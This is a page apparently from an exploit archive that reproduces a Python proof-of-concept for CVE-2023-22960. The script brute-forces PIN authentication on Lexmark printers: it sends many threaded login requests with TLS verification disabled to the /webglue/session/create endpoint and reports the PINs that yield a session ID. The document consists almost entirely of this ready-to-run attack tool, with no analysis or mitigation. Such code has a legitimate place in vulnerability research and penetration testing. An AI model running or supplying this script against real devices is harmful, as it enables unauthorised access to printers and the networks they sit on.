4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / lexmark-brute-force-pins.py PY
#!/usr/bin/env python3
#
# Author: Panagiotis Chartas (t3l3machus)
# usage: lexmark-brute-force-pins.py -t TARGET -P PROTOCOL -p PINS_FILE [-h]
#
# https://github.com/t3l3machus

import requests, threading, re, argparse
from random import randint
requests.packages.urllib3.disable_warnings()

parser = argparse.ArgumentParser()

parser.add_argument("-t", "--target", action="store", help = "IP or domain name of the target. Use it to specify port as well (e.g. 192.168.0.56:8080)", required = True)
parser.add_argument("-P", "--protocol", action="store", help = "HTTP or HTTPS.", required = True)
parser.add_argument("-p", "--pins-file", action="store", help = "File containing a PINS list.", required = True)

args = parser.parse_args()

# Colors
MAIN = '\033[38;5;50m'
SUCCESS = '\033[38;5;82m'
FAIL = '\033[1;91m'
END = '\033[0m'
BOLD = '\033[1m'
ORANGE = '\033[0;38;5;214m'
GREEN = '\033[38;5;82m'

MAIN_BULLET = f'[{MAIN}*{END}]'

# Threading
max_threads = 80
thread_limiter = threading.BoundedSemaphore(max_threads)

# Request
# The login URL below might not be exactly the same for all printer models. You may need to edit the resource /webglue/session/create
login_url = f'{args.protocol}://{args.target}/webglue/session/create'

headers = {
	'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
	'Accept': 'application/json, text/javascript, */*; q=0.01',
	'Accept-Language': 'en-US,en;q=0.5',
	'Accept-Encoding': 'gzip, deflate, br',
	'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8',
	'X-Requested-With': 'XMLHttpRequest',
	'Connection': 'keep-alive',
	'Cookie': 'lang=en; autoLogin=false',
	'Sec-Fetch-Dest': 'empty',
	'Sec-Fetch-Mode': 'cors',
	'Sec-Fetch-Site': 'same-origin'
}

# PINS
def get_file_contents(path):
	
	f = open(path, 'r')
	contents = f.readlines()
	f.close()
	return contents
	
	
pins = get_file_contents(args.pins_file)
pins_count = len(pins)


def bruteforce(pin):
	
	thread_limiter.acquire()
	pin = pin.strip()
	authId = randint(-1000000, 1000000)
	data = '{"authtype" : 3, "authId" : ' + str(authId) + ', "creds": {"pin" : "' + pin + '"}}'
	post_req_data = {'data':data, 'lang':'en'}
	
	try:	
		response = requests.post(url = login_url, data = post_req_data, verify = False, allow_redirects = False, headers = headers)
		content = response.content.decode()	

		if re.search('sessionId', content):				
			print(f'Match: {GREEN}{pin}{END} ' + content)

		# Comment out the else statement for non verbose output	
		else:
			print(f'{ORANGE}{pin}{END} ' + content)

	except:
		print(f'{FAIL}FAIL{END} Something went wrong. [status: {response.status_code}]')
		
	finally:
		thread_limiter.release()



def main():
	
	print(f'\n{MAIN_BULLET} PoC for CVE-2023-22960 by t3l3machus (https://github.com/t3l3machus)')
	print(f'{MAIN_BULLET} Initiating PIN authentication brute force attack against: {login_url}')
	print(f'{MAIN_BULLET} Number of PINs loaded: {pins_count}')
	print(f'{MAIN_BULLET} Successful attempts will be logged below (if any):')
		
	for pin in pins:
		threading.Thread(target = bruteforce, args = (pin.strip(),)).start()


if __name__ == '__main__':
	main()